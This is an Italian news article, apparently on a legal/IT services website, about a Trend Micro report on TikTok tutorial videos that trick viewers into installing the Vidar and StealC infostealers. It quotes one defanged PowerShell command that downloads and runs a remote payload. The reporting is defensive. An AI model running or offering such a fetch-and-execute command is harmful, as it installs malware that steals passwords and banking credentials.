[6] Produzione, servizi e commercio (che include l’autoriparazione)


LEGGI ANCHE

Terzo mandato, lo strappo di Zaia: “Il Veneto prima del centrodestra”

Il Governatore critica duramente l’impugnazione da parte del Consiglio dei ministri della legge campana sul terzo mandato, vedendola come un attacco indiretto alla sua stessa…

indirizzo pec errato

Indirizzo PEC errato e notifica in rinnovazione nulla

Inviare una notifica a un indirizzo PEC errato non è mai una buona idea, pertanto vi invitiamo a controllare sempre l’esattezza dei dati in vostro…

Emergenza carceri, le proposte del Garante nazionale dei detenuti. Nordio: “Ma no amnistia mascherata”

"Siamo consapevoli - ha dichiarato Nordio - che tutto questo non basta ad alleviare la condizione carceraria ma siamo contrari a qualunque forma di scarcerazione…

TikTok diventa terreno fertile per i malware: ecco come gli hacker aggirano i controlli e colpiscono gli utenti

Il volto virale e patinato di TikTok nasconde sempre più spesso una minaccia invisibile e insidiosa. Secondo un recente studio condotto da Trend Micro, la popolare piattaforma di video brevi è divenuta il nuovo canale privilegiato per i cybercriminali che diffondono malware tra ignari utenti attraverso video tutorial apparentemente innocui.

Un’evoluzione del cybercrime che sfrutta la rapidità di diffusione dei contenuti social e la fiducia degli utenti nei confronti di guide e consigli digitali. Il risultato? Centinaia di migliaia di visualizzazioni in pochi giorni e migliaia di dispositivi esposti a software malevoli progettati per sottrarre password, dati personali e credenziali bancarie.

Il nuovo volto degli attacchi digitali
I malware protagonisti di questa nuova ondata sono Vidar e StealC, due software particolarmente aggressivi capaci di infiltrarsi nei dispositivi, sottrarre dati sensibili e aggirare i sistemi di sicurezza. Gli hacker sfruttano video camuffati da tutorial o trucchi per ottenere versioni gratuite di software a pagamento — da Windows OS a Microsoft Office, fino a CapCut e Spotify.

Gli esperti di Trend Micro hanno individuato diversi account coinvolti in questa campagna malevola, tra cui @gitallowed, @zane.houghton, @allaivo2, @sysglow.wow, @alexfixpc e @digitaldreams771, che attraverso video costruiti ad hoc raggiungono facilmente numeri impressionanti di visualizzazioni.

Come funziona l’inganno
Diversamente dalle classiche email di phishing o dai siti compromessi, questi attacchi sono ancora più subdoli perché non lasciano tracce evidenti sui server della piattaforma. I video vengono realizzati spesso con intelligenza artificiale, capaci di simulare perfetti tutorial in cui l’utente viene guidato a inserire stringhe di codice — come il comando PowerShell condiviso dall’account @gitallowed:

iex (irm hxxps://allaivo[.]me/spotify)

Un comando apparentemente innocuo, che in realtà avvia una catena di operazioni: dalla creazione di directory nascoste alla disattivazione di Windows Defender, fino all’installazione dei malware Vidar e StealC.

Le conseguenze: dal furto di dati al controllo totale del dispositivo
Gli effetti di questi attacchi possono essere devastanti. Oltre a sottrarre credenziali di accesso a servizi finanziari e dati personali, i malware riescono a mettere a segno veri e propri furti di identità e a compromettere anche le reti aziendali, creando varchi di sicurezza difficili da individuare e neutralizzare.

Il punto debole resta proprio la capacità di TikTok di rilevare tempestivamente questo tipo di minaccia, vista la rapidità con cui i contenuti si diffondono e la facilità con cui i cybercriminali possono aprire nuovi account.

Come difendersi da questa nuova minaccia
Gli esperti di sicurezza informatica lanciano l’allarme: siamo di fronte a una nuova era del cybercrime, in cui i social network diventano veicolo di attacchi sofisticati e difficilmente intercettabili.

Per tutelarsi, è indispensabile mantenere sempre aggiornati software e antivirus, affiancandoli a soluzioni di sicurezza avanzate capaci di rilevare anche le minacce meno convenzionali. Ma soprattutto è necessario adottare un approccio critico ai contenuti online: mai eseguire comandi o cliccare su link suggeriti in video tutorial se non si è assolutamente certi della loro provenienza.


LEGGI ANCHE

contributo unificato Servicematica

Come ottenere il rimborso del contributo unificato

Le modalità per il rimborso del contributo unificato sono contenute nella Circolare n. 33 del 26 ottobre 2007 del Ministero dell’Economia e della Finanza. QUANDO CHIEDERE…

imposta di registro atti giudiziari

Imposta di registro sugli atti giudiziari: il governo scrive nuove regole

In un decreto legislativo, attuativo della delega fiscale, all’esame del Consiglio dei Ministri di oggi 9 aprile importanti novità per la tassazione degli atti giudiziari.…

Giovani autonomi, sconto Inps del 50% sui contributi per tre anni: domande al via

Artigiani e commercianti che si iscrivono per la prima volta all’Inps nel 2025 potranno dimezzare i versamenti previdenziali per 36 mesi. L’agevolazione riguarda solo la…

Iso 27017
Iso 27018
Iso 9001
Iso 27001
Iso 27003
Acn
RDP DPO
CSA STAR Registry
PPPAS
Microsoft
Apple
vmvare
Linux
veeam
0
    Prodotti nel carrello
    Il tuo carrello è vuoto